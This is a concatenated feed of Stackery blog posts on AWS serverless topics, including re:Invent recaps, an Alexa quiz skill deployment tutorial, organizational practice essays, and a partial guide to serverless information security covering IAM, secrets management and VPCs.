As Mutual of Enumclaw expanded, Stackery was there to help expand their capabilities across the enterprise. Stackery was on hand to help with minute technical issues and help develop solutions for enterprise-scale solutions across teams.
Now that Mutual of Enumclaw quickened their development lifecycle with Stackery it was time to scale to additional teams within the company. They moved their open-source tools to be easily used and improved by solutions architects and development teams enabling them “to move faster with better information to develop new capabilities for our customers.”
## About Stackery
Stackery is a secure serverless infrastructure platform for AWS. Its patented low-code Design Canvas helps teams develop and visualize CloudFormation templates. Stackery also helps test and deploy serverless applications with enterprise-grade security automation.<![CDATA[Response: Werner Vogels' Roadmap for the Future]]>https://www.stackery.io/blog/reinvent-AWS-roadmaphttps://www.stackery.io/blog/reinvent-AWS-roadmapOn the third week of re:Invent, our Werner gave to us: three french hens important architectural insights:
- AWS makes it easier than ever to use Open Source solutions - ARM leads to greater performance, lower cost, and better environmental footprint - A future where our favorite tools are always within reach in the CloudShell
Let's take a look at each of these insights and how it will shape our future in application architecture and development!
### AWS + Open Source
Whether deserved or not (and I lean towards the "not deserved" side), AWS has a reputation in some corners of reaping monetary success off the free and open source contributions of others. The rationale for this argument is that AWS has paid nothing for nor involved the open source community around key projects it relies on when it provides services to customers.
This includes projects ranging from Linux, which underpins almost everything at AWS and arguably is purely foundational and meant to be free for use as AWS has, to Elasticsearch, which AWS wrapped up as a managed service using everything from the source code to the project name (without qualification). The dynamic is further challenged when project communities include commercial entities that exist to support customers using the projects. To them, AWS is consuming their business value without providing any support, monetarily or otherwise, back to the community.
But AWS has been stepping up its Open Source game. It's clearer about naming new services (which is a big deal in the open source community): [Amazon Managed Workflows for Apache Airflow (MWAA)](https://aws.amazon.com/blogs/aws/introducing-amazon-managed-workflows-for-apache-airflow-mwaa/) and [Amazon Managed Service for Grafana](https://aws.amazon.com/blogs/aws/announcing-amazon-managed-grafana-service-in-preview/). These more clearly show AWS is offering a managed version of an external open source project. And, [AWS is partnering with commercial entities, like Grafana Labs](https://grafana.com/blog/2020/12/15/announcing-amazon-managed-service-for-grafana/), to ensure benefits flow from AWS' efforts through to support the broader ecosystem.
**This broader embrace of open source projects and their communities provide solutions for companies to migrate existing workloads from on-prem into the AWS cloud.** The solutions also provide an answer to the concern of AWS lock-in, whether the concern is valid or not.
### ARM Race
If you aren't a follower of AWS news you could easily be forgiven for not noticing how many new services are adopting ARM processors. A lot of code automatically works on ARM processors, like Python, Node.js, and other scripted projects, and other code often requires a simple recompile. But why are we bothering with ARM at all?
The answer is you get the best of both worlds: [better performance and lower cost compared to x86-64 processors from Intel and AMD](https://aws.amazon.com/ec2/graviton/). **And, AWS is able to make its own ARM processors, meaning every chip they build is tailor made for the security and performance needs of cloud computing.**
This re:Invent, Werner used his keynote to highlight how ARM processing is part of [Amazon's plan to lower energy use as well as they march towards a 2025 goal of using 100% renewable energy](https://sustainability.aboutamazon.com/environment/sustainable-operations/renewable-energy?energyType=true). Reducing energy use helps offset the extra cost of renewable energy.
One only needs to look at the [Relational Database Service](https://aws.amazon.com/rds/) (RDS) to see how serious AWS i**s. RDS is the bedrock foundation of the majority of production workloads on AWS. Aside from very modern apps that may eschew relational databases for NoSQL variants like DynamoDB, almost every application will have at least one database, and if it's on AWS it's likely managed by RDS**. This re:Invent comes with an announcement that you can now [run RDS Aurora, their premier managed database solution, using ARM processor based compute servers](https://aws.amazon.com/about-aws/whats-new/2020/12/introducing-amazon-aurora-r6g-instance-types-powered-by-aws-graviton-2-processors-in-preview/). If it's good enough for Aurora, it's good enough for the majority of workloads!
### CloudShell makes clouding easier than ever
While AWS may be late to the game in launching [CloudShell](https://aws.amazon.com/cloudshell/) (practically all other cloud providers have already launched their own version of CloudShell, some as long as five years ago), it's nonetheless a game changer for working with AWS.
When you login to the AWS console you can now interact with services using the AWS CLI and all your favorite tools. I couldn't resist playing around:
**With the power of Stackery's cloud-based environment management and deployment mechanisms I can now do everything I need for operating my stacks in the comfort of my AWS console!**
### A Bright Future
I'm more excited than ever to think of all the amazing apps people will be able to build. Add in how foundational changes, like the adoption of ARM and serverless, lowers cost and environmental impact and you have even more reason to be happy. AWS has laid out an amazing roadmap, now let's see where it takes us!<![CDATA[Alexa, How Can I Get AWS Credits?]]>https://www.stackery.io/blog/reinvent-alexa-quiz-challengehttps://www.stackery.io/blog/reinvent-alexa-quiz-challengeWe are excited to announce that if you **deploy our AWS Trivia Alexa Skill from Stackery** we will send you AWS Credits ($50 value)!
## Details
1. Build an Alexa Skill (tutorial below) using Stackery to deploy into your AWS account. 2. You can deploy the code as-is out of Stackery, or modify the content of the quiz. 3. [Tweet us](https://twitter.com/stackeryio) a screenshot of your deployed backend. It'll look something like this:
Oh, and bonus points for playing the quiz game - find it here: [Stackery re:Invent Quiz Alexa Skill](https://www.amazon.com/dp/B08QMSCTHG/ref=sr\_1\_1?dchild=1&keywords=stackery&qid=1608054745&s=digital-skills&sr=1-1).
## Q&A
#### What is an Alexa Skill?
A Skill is a voice app that can be opened on an Alexa-enabled device, such as a smart speaker, a smart home device that's Alexa-enabled, a smartwatch.
#### What does this Skill do?
This Skill asks users questions about AWS services, such as Lambda, Cognito or EC2, in a 10-question quiz game. It also gives users facts about certain AWS services.
#### Do I need to be an AWS expert to follow this tutorial?
Nope! Stackery makes it easy for *anyone* to deploy serverless apps on AWS, and adding infrastructure is as simple as dragging and dropping! You just need an AWS account, a modern browser, and a computer connected to the Internet.
#### Do I need a lot of programming experience to follow this tutorial?
No! If you can copy-paste, you can build and deploy this app. If you want to customize the quiz, you will need to know basic JavaScript.
#### Do I need an Alexa-enabled device to test my Skill?
No. The Alexa developer console includes an in-browser Alexa simulator for testing.
#### What does it cost?
Everything should fit easily within AWS's free tier, and the AWS account and Amazon Developer account are free.
#### Can I make Alexa speak in a sarcastic tone?
Sadly, no (believe me, I tried). But there are some cool things you can do with [SSML](https://developer.amazon.com/en-US/docs/alexa/custom-skills/speech-synthesis-markup-language-ssml-reference.html), the markup language used to dictate how Alexa generates phrases.
#### Are there any terms and conditions you need to put in here?
Yup. Terms and conditions apply. While supplies last. Credit usages must follow AWS terms and conditions. Amazon Echoes based on availability. Shipping may be extra.
#### Resources
- [Alexa Developer docs](https://developer.amazon.com/en-US/docs/alexa/ask-overviews/build-skills-with-the-alexa-skills-kit.html) - [Skill sample](https://github.com/alexa/skill-sample-nodejs-quiz-game) - [Git repo](https://github.com/stackery/alexa-reinvent-quiz)
## Tutorial
#### Prerequisites:
1. [Free Amazon Developer account](https://developer.amazon.com/en-US/alexa/alexa-skills-kit) 2. [Free Stackery Account ](/content/sign-up/index.html)
### 1. Create an Alexa Skill
1. Log in to the [Alexa Developer Console](https://developer.amazon.com/alexa/console/ask), and click the __Create Skill__ button 2. Name your skill whatever you'd like 3. Choose __Custom__ as your model 4. Choose __Provision your own__ as the method to host your skill's backend resources 5. Scroll back up, make sure everything looks right, and click __Create skill__
You'll now see your newly-created skill in a list of all skills:
6. Click on the skill name, and navigate to __Interaction Model__ -> __JSON editor__
This is where you will paste a JSON file that describes the different forms of interactions your Skill will have with users, as well as the custom data that serves as the allowable answers to quiz questions.
7. Copy the entire contents of [this JSON file](https://raw.githubusercontent.com/stackery/alexa-reinvent-quiz/master/src/models/en-US.json) from our [alexa-reinvent-quiz repo](https://github.com/stackery/alexa-reinvent-quiz) 8. Paste the copied contents into the Alexa JSON editor, then click __Save Model__ at the top, followed by __Build Model__
Once you save, you will see that your Intents were auto-populated. Feel free to poke around and view the sample utterances and [slot types](https://developer.amazon.com/en-US/docs/alexa/custom-skills/slot-type-reference.html) that are there now. When you're done, return to the main console where all of your skills are listed, as you'll need to get your Skill ID in a few moments, so be sure to leave this browser tab open.
### 2. Build your backend in Stackery
*For this step you'll need a [free Stackery account](/content/sign-up/index.html), a Git provider, and a code editor. If you're a first-time Stackery user, you'll need to link your Git provider and AWS account the first time you commit and deploy a stack. Don't worry, the process is fairly quick and simple and the app will walk you through it.*
1. In a new tab, log in to Stackery, and create a new stack with a new repo
2. In the Visual edit mode, add a function and give it the name `AlexaHandler` and change its code source directory to `src/AlexaHandler`. Scroll down and hit __Save__
3. Flip to the Template edit mode, and add the following YAML as part of the `Properties` of your `AlexaHandler` function: ```yaml Events: AlexaSkillEvent: Type: AlexaSkill SkillId: [your-skill-id] ``` 4. Replace `[your-skill-id]` with the `Skill ID` you noted above1
This is what allows your Lambda function to be accessed by the specific skill you are building, and not any other.
Your template should look now something like this: ```yaml AWSTemplateFormatVersion: '2010-09-09' Transform: AWS::Serverless-2016-10-31 Resources: AlexaHandler: Type: AWS::Serverless::Function Properties: FunctionName: !Sub ${AWS::StackName}-AlexaHandler ... Policies: - AWSXrayWriteOnlyAccess Events: AlexaSkillEvent: Type: AlexaSkill SkillId: amzn1.ask.skill.some-long-numbers-and-letters Parameters: ... ```
If you want to double-check your formatting, you can refer to our [SAM template](https://github.com/stackery/alexa-reinvent-quiz/blob/master/template.yaml) in the tutorial repo.
5. If everything looks right, click the __Commit...__ button to commit your changes to your Git repository 6. Follow the repo link below the stack name to access your newly-created repository
7. Clone your repo to your computer and open it in your favorite (or least-favorite, we're not particular) IDE
### 3. Add function code
When you created a function in Stackery, it stubbed out some function code for you in the chosen runtime, which is Node 12 in this case. We're going to replace the function code with the Alexa backend from the [tutorial repo](https://github.com/stackery/alexa-reinvent-quiz/), as well as its `package.json` contents to add the required dependencies.
1. Open `your-repo/src/AlexaHandler/index.js` and replace its contents with the contents of [Stackery's Alexa Skill code](https://raw.githubusercontent.com/stackery/alexa-reinvent-quiz/master/src/AlexaHandler/index.js). Save the file 2. Open `your-repo/src/AlexaHandler/package.json` and replace its contents with the following and save: ``` { "name": "alexahandler", "version": "1.0.0", "description": "", "main": "index.js", "author": "Stackery", "license": "MIT", "devDependencies": { "aws-sdk": "^2.796.0" }, "dependencies": { "ask-sdk-core": "^2.9.0", "ask-sdk-model": "^1.34.1" } } ``` 3. Commit the changes and push to your Git repo
If you kept your Stackery tab open, you'll have noticed that it detected the changes you pushed up. Go ahead and hit the refresh link:
### 4. Deploy to AWS
1. In the Stackery app, navigate to the __Deploy__ tab 2. Select an environment to deploy to (if this is your first time deploying with Stackery, you'll be guided through linking to AWS first). Click __Prepare new deployment__ and then __Prepare Deployment__ to start your deployment
3. Once the deployment is prepared (which will take about a minute), click __Deploy__. A tab will open in your AWS Console, where you'll need to click __Execute__ to kick off the deployment2
This will take a few minutes - get yourself a coffee and a pat on the back, because you're 90% done with deploying your first Alexa Skill!
4. You'll get a notification when your stack has deployed. Click the __View__ tab to see your live stack 5. Grab your screenshot for Twitter! 6. Double-click the `AlexaHandler` function to pull up some handy data and links. 7. Copy the function's ARN, as you'll need it for the final step
### 5. Connect your backend to your Skill
This is it: the final stage, when we connect all the dots and test our Alexa Skill!
1. Back in the Amazon Developer Console, select __Endpoint__ from the menu 2. Enter the ARN you copied in the previous step like so:
3. Click __Save Endpoints__ 4. In the side tab, return to __Invocation__ and click __Save Model__, then __Build Model__
Now you're ready to test your Skill! Navigate to __Test__, and say or type "Start Stackery re:Invent Quiz" to kick off the quiz. You can try the quiz yourself, or get some trivia information about specific AWS services. Knock yourself out - this is the fun part!
Return to the Stackery Dashboard, notice that your function was successfully invoked while you were testing!
## Next steps
Hopefully, this tutorial piqued your interests in building Alexa Skills. With a Lambda backend, you can build skills in just about any runtime, and Stackery helps you deploy changes quickly (and automatically with our [Deployment Pipelines](https://docs.stackery.io/docs/using-stackery/dashboard#deployment-pipeline)). I'd love to see what you build - feel free to send your projects [my way on Twitter](https://twitter.com/annaspies), and don't forget to send your deployed stack to [Stackery on Twitter](https://twitter.com/stackeryio).
*1 For the sake of this tutorial, we are hard-coding the Skill ID. **If you are saving your Skill ID directly in the template, make sure your repo is private.** Alternatively, you can use Stackery's [Environments and Parameter Store](https://docs.stackery.io/docs/using-stackery/environments#setting-parameter-store-values) to follow best practices and store your Skill ID as in AWS's [Systems Manager Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-parameter-store.html) and reference it at build time.*
*2 This tutorial walks you through deploying manually in the browser, but there are other ways to deploy that will likely suit your workflow better. You can deploy with the [Stackery CLI](https://docs.stackery.io/docs/using-stackery/cli) with just one command, or completely automate this process upon a merge to the repo's main branch, including automated test runs, with Stackery's [Deployment Pipelines](https://docs.stackery.io/docs/using-stackery/dashboard#deployment-pipeline).\*<![CDATA[Architecting Organizational Excellence for Serverless]]>https://www.stackery.io/blog/organizational-structure-serverlesshttps://www.stackery.io/blog/organizational-structure-serverless\*\*Watch a video overview**
Companies across sectors are seeing amazing success adopting modern application architectures, especially with managed services like AWS Lambda, DynamoDB, S3, etc. This week Jessica Feng from AWS gave an excellent re:Invent talk: [Enabling a serverless-first Cloud Center of Excellence](https://virtual.awsevents.com/media/1\_rnuuubac). She described **common patterns and traits for organizations who have adopted a "serverless-first" mindset to achieve operational and cost management success.**
I'm going to examine the most meaningful aspects driving success within organizations building modern applications. You'll notice that it isn't hard to achieve success if you have a roadmap. But success requires more than just technology alone. It requires involvement and support by people in many different roles.
## Modern Application Development Means Infrastructure Development
One of the first things to realize is modern architectures using managed services creates applications that are a *network* of resources. Applications no longer are "simple" three-tier architectures with a frontend server, a backend server, and a database.
Instead, every time you need to add new functionality to a service you may be adding a new SQS Queue or a new DynamoDB Table. This is why Infrastructure-as-Code (IaC) is a basic tenet of serverless development. From Jessica's slides about infrastructure evolution, adopting a serverless approach means:
 The corollary to the above architectural realization is that development teams need to have the autonomy to develop their own infrastructure. For example, a serverless-enabling "Cloud Center of Excellence" focuses on how to provide development teams with AWS accounts, tools, processes, and guardrails to ensure success.
One common pitfall to watch out for is a team creating additional layers of IaC abstractions or templates for reuse. These may have been useful for traditionally stateful infrastructure in the past (e.g. virtual networks and databases), but are more often too restrictive for development teams to achieve their full potential. This happens to be one of my main concerns with the new [AWS Proton](https://aws.amazon.com/proton/) service in it's current preview release, though [I'm excited about its trajectory](https://twitter.com/txase/status/1334180462797885441).
## Organizations Need Centralized Excellence for Environments and Deployment Processes
While there are some anti-patterns to watch for, Cloud Centers of Excellence have a very key role to play in helping an organization successfully shift to modern application architectures using managed services. These centralized teams are perfectly positioned to provide development teams with the tools to be autonomous and successful. This slide from Jessica's talk scratched at the surface of what centralized teams can help with:
The following is a further list of needs centralized teams can help provide to enable development team autonomy:
- [Environment abstractions](/content/blog/multi-account-best-practices/index.html) for deploying resources, parameterization, and managing secrets (ideally with separate AWS accounts for each environment) - Identity management so developers can access all the AWS accounts they need ([AWS SSO](https://aws.amazon.com/single-sign-on/) is a huge help here) - Tools (like [Stackery's visual editor](/content/product/index.html) 😉) to help developers of all skill levels learn how to develop infrastructure using IaC and ensure permissions and configuration are properly scoped by default - Turn-key CI/CD capabilities to make it easy for development teams to implement automated testing, vulnerability scanning, and a mixture of automated and manual checks as part of a deployment pipeline
Of course there are many more things a centralized team can help provide for the organization. For example, DevSecOps additions to the CI/CD pipeline can be added to ensure security and best practices. The key is to focus on the needs that offload work from development teams while reducing dependencies that slow them down.
## Share Wins and Insights
Lastly, success does not happen in a vacuum. While this can be read to mean that success does not happen without input from others, it can also be interpreted to mean success involves sharing with others. Jessica shared this slide showing how teams can spread success even after just the first pilot projects are complete: 
This is especially true as adopting new architectures and practices requires process and cultural shifts. Sharing success stories and insights is the best way to overcome the inertia of existing practices.
## Centralized Practices Will Lead To Organizational Success
No matter whether your organization has a dedicated Cloud Center of Excellence or simply a way to share wins and insights, it is important to identify and centralize practices. If serverless is new for your organization, find and propose a pilot project, then find ways to share your learnings with everyone who will listen. Then continue iterating and codifying best practices so more and more people can follow in your footsteps. Eventually you will end up transforming into your own "serverless-first" organization that ships faster and scales higher!
Want to chat more about IaC, Centralized IT, or Stackery? [Schedule a chat ](https://hs.stackery.io/top-use-cases)(and we will send you coffee).<![CDATA[Turtles, Grilled Cheese, and Innovation All the Way Down]]>https://www.stackery.io/blog/reinvent-infrastructure-as-codehttps://www.stackery.io/blog/reinvent-infrastructure-as-codeThis week touted a number of great re:Invent talks, especially around serverless best practices. But it was a section of David Richardson’s session that really grabbed me. As the VP of Serverless, of course David did a great job using customer stories and speakers from the BBC, Capital One, Coca Cola, and Discovery Golf to demonstrate the value of serverless. But it was the tail end of the presentation—where he focused on changing roles that are required as organizations evolve their cloud practices—that I outline here.
In this post I highlight how:
1. Roles are changing as organizations move to the cloud. 2. Organizations are evolving to deliver developer autonomy and centralized governance. 3. Infrastructure-as-code (IaC) empowers collaboration and unlocks best practices for teams developing, delivering, and running modern applications.
## Roles are changing as organizations move to the cloud
As cloud technologies evolve—especially as more powerful abstractions are created—we see roles evolving. Operators are becoming more development savvy. Application developers are being more operations - and infrastructure-minded. In fact, most of the engineering teams I talk to are responsible for delivering and running the applications they build. And, infrastructure engineers are helping create modern cloud platform teams (or evolve traditional release teams to support more modern practices). In every case, these roles are evolving.
Though there are different patterns to accommodate for organizational idiosyncrasies, there is one common thread: those that shape their new roles most successfully place a premium on strong collaboration across teams. Specifically, that establish clear understanding of what they expect from supporting roles (like what a developer needs from a cloud platform engineer), and what the others should expect of them.
One of the biggest areas that needs a shared understanding as roles evolve is how do teams resolve the tension of developer autonomy and centralized governance …
## Organizations are evolving to deliver developer autonomy and centralized governance
Balancing developer speed with enterprise scale and governance has become an age-old challenge. One of the common pattens David highlighted is around the role of the team responsible for providing developers with modern, secure, and scalable platforms. We usually see these shared services teams called a Cloud Center of Excellence, a cloud platform team, a DevOps team, and other similar variants. In any case, though, these teams are responsible for providing consistent, secure, updatable application platforms—in a way that accelerates autonomous development, rather than hindering it.
One of the common foundational practices for unlocking autonomous development, in a way that works for these centralized teams, is to treat infrastructure as code. Let’s dig into why this practice is so powerful—and necessary in modern development …
## Infrastructure-as-code (IaC) empowers collaboration and unlocks best practices for teams developing, delivering, and running modern applications.
David was spot on when he said, that a “core approach for collaboration is Infrastructure-as-code.”
Why? Because it gives operators and infrastructure engineers a way to architect, build, provision, operate, and update infrastructure just like a developer does.
For decades developers have been able to version control their work, have peers review it, automate testing and delivery … and a whole lot more. But before infrastructure-as-code was a thing, there was no easy way to version control infrastructure. You can’t check in a server, or unit test a switch like you can application code.
**But when you treat infrastructure as code, it unlocks agile and collaborative development practices that have been proven for decades.**
Today operators, administrators, infrastructure engineers can describe their platforms in a way that allows them to adhere to development best practices. What’s more, it allows them to communicate with developers in a way that makes sense to them. All roles now have the same practices and tools at their disposal, making collaboration across teams much more seamless than ever before.
One of the most massive—but least understood—**benefits of serverless is that describing infrastructure as code is a requirement. Not just a recommended practice. This powerful collaboration device is embedded in the foundation of a serverless approach!**
## Summary
One of the most poignant quotes what when David said, “Getting the operator and development workflow right is critical. If you get it wrong you’re back in old days of Central IT as friction.”
There is no single practice or technology that unlocks this, rather a mix of technology, workflows, and collaborative practices that help teams get the operator and development workflows right. But technologies like serverless (that make adopting a best practice like infrastructure-as-code), and new innovation like AWS Proton (that helps central teams support developer speed and autonomy while enforcing modern security and governance best practices) are just a couple examples of how AWS helps team modernize and succeed in the next era of cloud adoption.<![CDATA[Does AWS Serverless care about IT Operations?]]>https://www.stackery.io/blog/reinvent-2020-serverless-leadership-recaphttps://www.stackery.io/blog/reinvent-2020-serverless-leadership-recapThe memes around serverless are endless, generally involving how there are no servers, no operations teams, and how unicorns will use their magical horns to solve your application stability problems.
I had a great chat with @ryanycoleman about what #serverless means for #operations, how it frees up ops teams to do more meaningful and creative work, and why #NoOps is neither the goal nor promise of serverless. Give it a listen! https://t.co/U2XN1NhAV4
— Jeremy Daly @ AWS re:Invent 2020 (@jeremy\_daly) November 30, 2020
As I said a few weeks ago with Jeremy Daly, serverless isn’t orthogonal to IT Operations. I believe quite the opposite, that serverless is the wave beyond VM configuration management in **empowering operations-minded people to reclaim their focus, creativity, and business relevance.**
**Does the world’s largest serverless provider understand and embrace that concept?**
It was pretty fun to watch AWS Serverless VP, David Richardson's, talk [Increasing innovation with serverless applications](https://virtual.awsevents.com/media/1\_ju8gv675), even if from a neon-stage [(that's no Amerstadam sugar beet factory)](https://aws.amazon.com/blogs/aws/reinvent-2020-liveblog-werner-vogels-keynote/).
David recapped the many serverless announcements over the last few weeks while providing context on how they impact customers, through the lens of three use cases for serverless adoption.
It’s quite nice to see the IT automation focus for serverless!
Lambda’s event-driven architecture and on-demand computing footprint lends itself to IT automation workflows that are reactionary or investigative in nature, like running compliance checks on EC2 instances as they spin up, or diagnosing an outage through data aggregation and analysis.
I saw this happening ad-hoc, usually through bundles of scripts, but even die-hard IT Operations companies like Puppet are responding to the growth of event-driven IT automation with managed services like [Relay](https://relay.sh).
### So what? IT Operations is in large part anticipating and reacting to events, which makes event-driven architectures like serverless a great fit for troubleshooting and governance workflows.
### What’s new?
The unfortunately named [DevOps Guru](https://aws.amazon.com/devops-guru/) stole several keynote spotlights and gives me pause on AWS’s seriousness towards Ops. But don’t worry, ML-powered cloud operations won’t eliminate your ops team.
Having worked with Puppet and Splunk on something similar, **the value here lies in reducing monotonous work to recognize patterns and run repetitive scripts to troubleshoot problems**. [Unlike the offering from Puppet](https://splunkbase.splunk.com/app/4413/), DevOps Guru does not appear to trigger any automation to remediate the identified issues. But, it might help you spend more time fixing problems instead of finding them.
The second major use-case for serverless adoption, in Richardson’s view, is data processing. From media streaming to log analytics to data lakes, AWS managed services excel at ingesting anything you have like an expensive game of hungry hungry hippos.
### So what? AWS has made a bunch of small improvements to make Lambda a better fit for these use cases, reducing overall server burden and limiting compute to when it’s needed.
If core compute is the third use-case, it is last but not least. This is the meat of the sandwich and it’s where all of the announcements live.
Stackery got a nice mention as a service you can use to manage your whole serverless lifecycle, including the delivery of [AWS Lambda extensions](/content/blog/automating-monitoring-partners/index.html). While initially focused on monitoring providers, provides a way for teams to assert requirements on Lambda functions without requiring development teams to include these requirements into their development process.
### What’s the point? Instead of getting involved in every single Lambda function, **Operations team can assert observability needs in an Extension and rest assured that every function will include them**.
[Stackery was also first to support](/content/blog/launch-aws-container-images/index.html) AWS Lambda container image (build) support which sounds super confusing but is actually very helpful for IT Operations and release engineering teams who have invested in robust container delivery workflows but not yet Lambda.
This is not some magic that means you can invoke any container in response to a Lambda event (though ECS works for that!). Developers still need to account for Lambda’s event handlers and expect the assumptions of Lambda’s runtime environment.
But, the tools you use to manage, validate, build, and ship container images can be entirely reused in the software delivery lifecycle for Lambda functions shipped as container images. Stackery will go even further with you, ensuring that AWS ECR is maintained as changes to functions pass through its turn-key CI/CD pipeline.
### What’s the point? Release engineering practices built around container images can be reused to validate, build, and deliver Lambda functions which previously required a bespoke toolchain.
David went on to talk about how serverless compute is used to decouple legacy systems in an incremental fashion, which can come from changing the source of data feeding into an application, emitting events on the backside of a legacy application, or refactoring an API one route at a time.
### What’s the point? You do not have to jump into serverless head first, with incremental approaches to modernizing your application from every conceivable angle.
   
Up next, Richardson shared some of the improvements AWS made to help operators increase performance, while ensuring security, at reduced costs.
Lambda is [billed at 1ms](https://twitter.com/jbesw/status/1333820891575308291?s=21) intervals now, [code-signing support](https://twitter.com/edjgeek/status/1331042602766897152?s=20) is baked-in (including SAM support), [EFS volumes](https://aws.amazon.com/blogs/compute/using-amazon-efs-for-aws-lambda-in-your-serverless-applications/) can finally be mounted in Lambda, and [functions can now have 10GB of memory](https://aws.amazon.com/about-aws/whats-new/2020/12/aws-lambda-supports-10gb-memory-6-vcpu-cores-lambda-functions/) for those of you running Chrome in Lambda. And for some reason the impressive [Aurora Serverless v2](https://twitter.com/chayanspeaks/status/1333845197000634370?s=21) wasn’t even mentioned (or maybe I missed it).
There’s a lot in there to unpack in January, and you can get Stackery will make all of this more accessible with our [bidirectional infrastructure-as-code designer](/content/product/index.html) that generates best-practices by default.
I wrote operations in this post about as many times as AWS uses the word innovation in their presentations, but I’m walking away from re:Invent with the impression that AWS is serious about both. <![CDATA[Guide to Serverless Information Security]]>https://www.stackery.io/blog/serverless-information-securityhttps://www.stackery.io/blog/serverless-information-security ### Information security & serverless applications
Information security (infosec) is a broad field. Its practitioners behave more like artists than engineers. After all, the mandate for security is not "do X", but instead "ensure no one can do X, Y, Z, ɑ, β, ɣ, etc.".
The array of possibilities leading to infosec failure are vast. It's like trying to prove a negative, thus making the task near impossible.
On one hand we have an impossible task, on the other we have the affordance of time. In one sense we have been practicing infosec since the invention of the [Caesar Cipher](https://en.wikipedia.org/wiki/Caesar\_cipher) in 50 BC.
Yes, software infosec is younger, but we benefit from decades of development in the field. Modern application designs are often developed with infosec in mind. For example, newer services have finer-grained access controls, stateless connections, and time-based authentication.
Cloud applications have three core infosec needs: - resource-level access controls - secrets management - fallbacks for network-level security (where necessary)
### A look at some real-world examples
#### Resource-Level access controls
Modern applications are constructed via collections of managed services. (Aside: If you are operating off-the-shelf databases or similar services yourself, you are not really doing modern application development.)
Every interaction between managed services crosses a service boundary. These service boundaries are where we manage access controls. For example, if a [Lambda Function](https://docs.stackery.io/docs/api/nodes/Function/) wants to interact with a [DynamoDB Table](https://docs.stackery.io/docs/api/nodes/Table/) it needs to be granted access to the table.
#### Example
Let's look at an example:
1. Drag a wire from the right-side port of the function to the left-side port of the table 2. Double-click the function and scroll down to the permissions section 3. See the SAM Policy Template that grants access to the table
Resource-Level Access Controls are granted in AWS via IAM statements. IAM statements are often attached to compute resources needing access to other resources. In the above example, we are adding permission for a Lambda Function to create, read, update, and delete items inside the table.
The example shows permissions granted using SAM policy templates, which make specifying permissions easier. You start by declaring your intent (CRUD access to table items) instead of specifying each individual action needed, and you end by declaring the specific table you want to access instead of having to craft a complex identifier called an AWS ARN.
#### Considerations
- Scope of actions: What types of interactions do I need to perform? Do I need to interact with S3 Buckets, or the objects they contain? Do I need read, write, or both access? - Scope of resources: Which resources do I need to access? Items within a specific DynamoDB table? All DynamoDB tables in an account?
These two concepts seem simple, but there are still many innovative developments underway to provide more logical mechanisms to specify them. In the example above we specified the scope of resources to be limited to the specific Table connected to the Function. This is great for many application resources. For human-identity controls it may be better to scope resources based on tags (otherwise known as Attribute Based Access Control or ABAC). This allows for policies like granting access to all Tables that are tagged with "Environment: Development".
### Secrets management
When using a fully-featured cloud provider like AWS, most applications can be implemented using cloud provider offerings alone.
For example, a three-tier application can be constructed using an [API Gateway HTTP API](https://docs.stackery.io/docs/api/nodes/HttpApi/), some Lambda Functions, and a DynamoDB Table. Yet, some application use cases must be met using services from third parties. These services are accessed using credentials that are not managed automatically by the cloud provider.
Third-party service credentials are usually private and confidential. The data should be:
- Encrypted at rest - Encrypted in transit to resources accessing it - Auditable for accesses
Cloud providers have services for managing secrets (e.g. [AWS Secrets Manager](https://docs.stackery.io/docs/api/nodes/Secrets/)). These are key/value stores where the key is the logical identifier for a secret and the value is the confidential data. These stores also have auditing mechanisms built-in and offer more flexible capabilities for defining the scope of access.
#### Secrets management example #1
`\`
1. Add a Secrets resource 2. Connect the right-side port of the Function to it 3. Double-click on the Function resource to see the permissions granted to access secrets within the namespace of an environment
Often, a human identity uses write access to create or update a secret. And an application resource uses read-only access to retrieve the secret at runtime.
Sometimes even first-party cloud managed services require secrets. Relational databases like [Aurora Serverless](https://docs.stackery.io/docs/api/nodes/Database/#aws-aurora-serverless-database-cluster) are an example of this. The most secure architecture for these solutions involves letting AWS manage the credentials, generating them cryptographically when creating databases, and then referencing credentials without ever accessing them when querying the database.
#### Secrets management example #2
1. Connect the right-side port of the Function to the left-side port of the Database 2. Double-click on the function resources to see the permissions granted to access both the database credentials and the data API service for the database
When the compute resource queries the database it does so by passing along the identifier of the credentials in AWS Secrets Manager without ever retrieving the credentials directly:
```bash
aws rds-data execute-statement
--resource-arn "arn:aws:rds:us-east-1:123456789012:cluster:mydbcluster"
--database "mydb"
--secret-arn "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/dbcreds"
--sql "select * from mytable"
```
This ensures the compute resource never stores the secret locally.
#### Considerations
When an application resource needs to use secrets, it should:
- Store them in a secrets manager service that maintains access audit logs - Store them in namespaced regions to isolate environments (e.g. `/dev/dbcreds` vs `/prod/dbcreds`) - Grant application resources access to specific secrets or to secrets within the environment namespace - Use first-party secrets integration with managed services where available - Rotate credentials periodically
AWS Secrets Manager has built-in mechanisms to rotate credentials for many AWS managed databases. AWS Secrets Manager further enables custom rotation logic for other first-party and third-party services. Automated mechanisms enable frequent rotation, decreasing the chance that a leaked secret will be usable by a malicious third party.
### Fallbacks for network-Level security (where necessary)
Sometimes the right architecture for an application involves managed services that predate modern infosec practices.
#### Relational databases
Relational databases are one example of such resources. While we may want to rid our applications of relational databases (for many reasons), there is too much value built up in existing application code and libraries to justify banishment of these database types. Instead, it's simpler to use alternative infosec mitigation strategies that can be just as effective (though a little more cumbersome to architect).
If you can build on or migrate to an Aurora Database Cluster with a managed [Data API](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/data-api.html) service, then you should try to use its vastly superior access controls.
If that's not an option, things get a bit trickier. Previous access models involve establishing stateful TCP connections to databases. These connections are authenticated using static username/password credentials. They are optionally configured to encrypt data in transit (but often are not configured to do so by default). Further, each stateful connection adds overhead and limits the scalability of databases. They present an opportunity for a DoS attack if a third party is able to locate a database service even if they don't have credentials to authenticate.
The best solution to ensure security in the face of these challenging conditions is to prevent access to databases from the public internet.
The easiest way to lock down access is to put the database into a virtual network, like AWS's [Virtual Private Cloud](https://docs.stackery.io/docs/api/nodes/VirtualNetwork/) service. Databases in these networks can be given private addresses that are not publicly reachable. But this also means compute resources that need to interact with the databases must be able to access the private network.
#### Example #1
1. Add a Virtual Network resource and drag it around the Function and the Database 2. Switch to the template view to see the additions to the SAM/CloudFormation template for the VPC 3. Look again for the settings that connect the Function and Database to the VPC's subnets
One further complication results from using a virtual network. Private resources are by definition not accessible from the public internet, which can make it difficult to interact with them for development, testing, or debugging purposes.
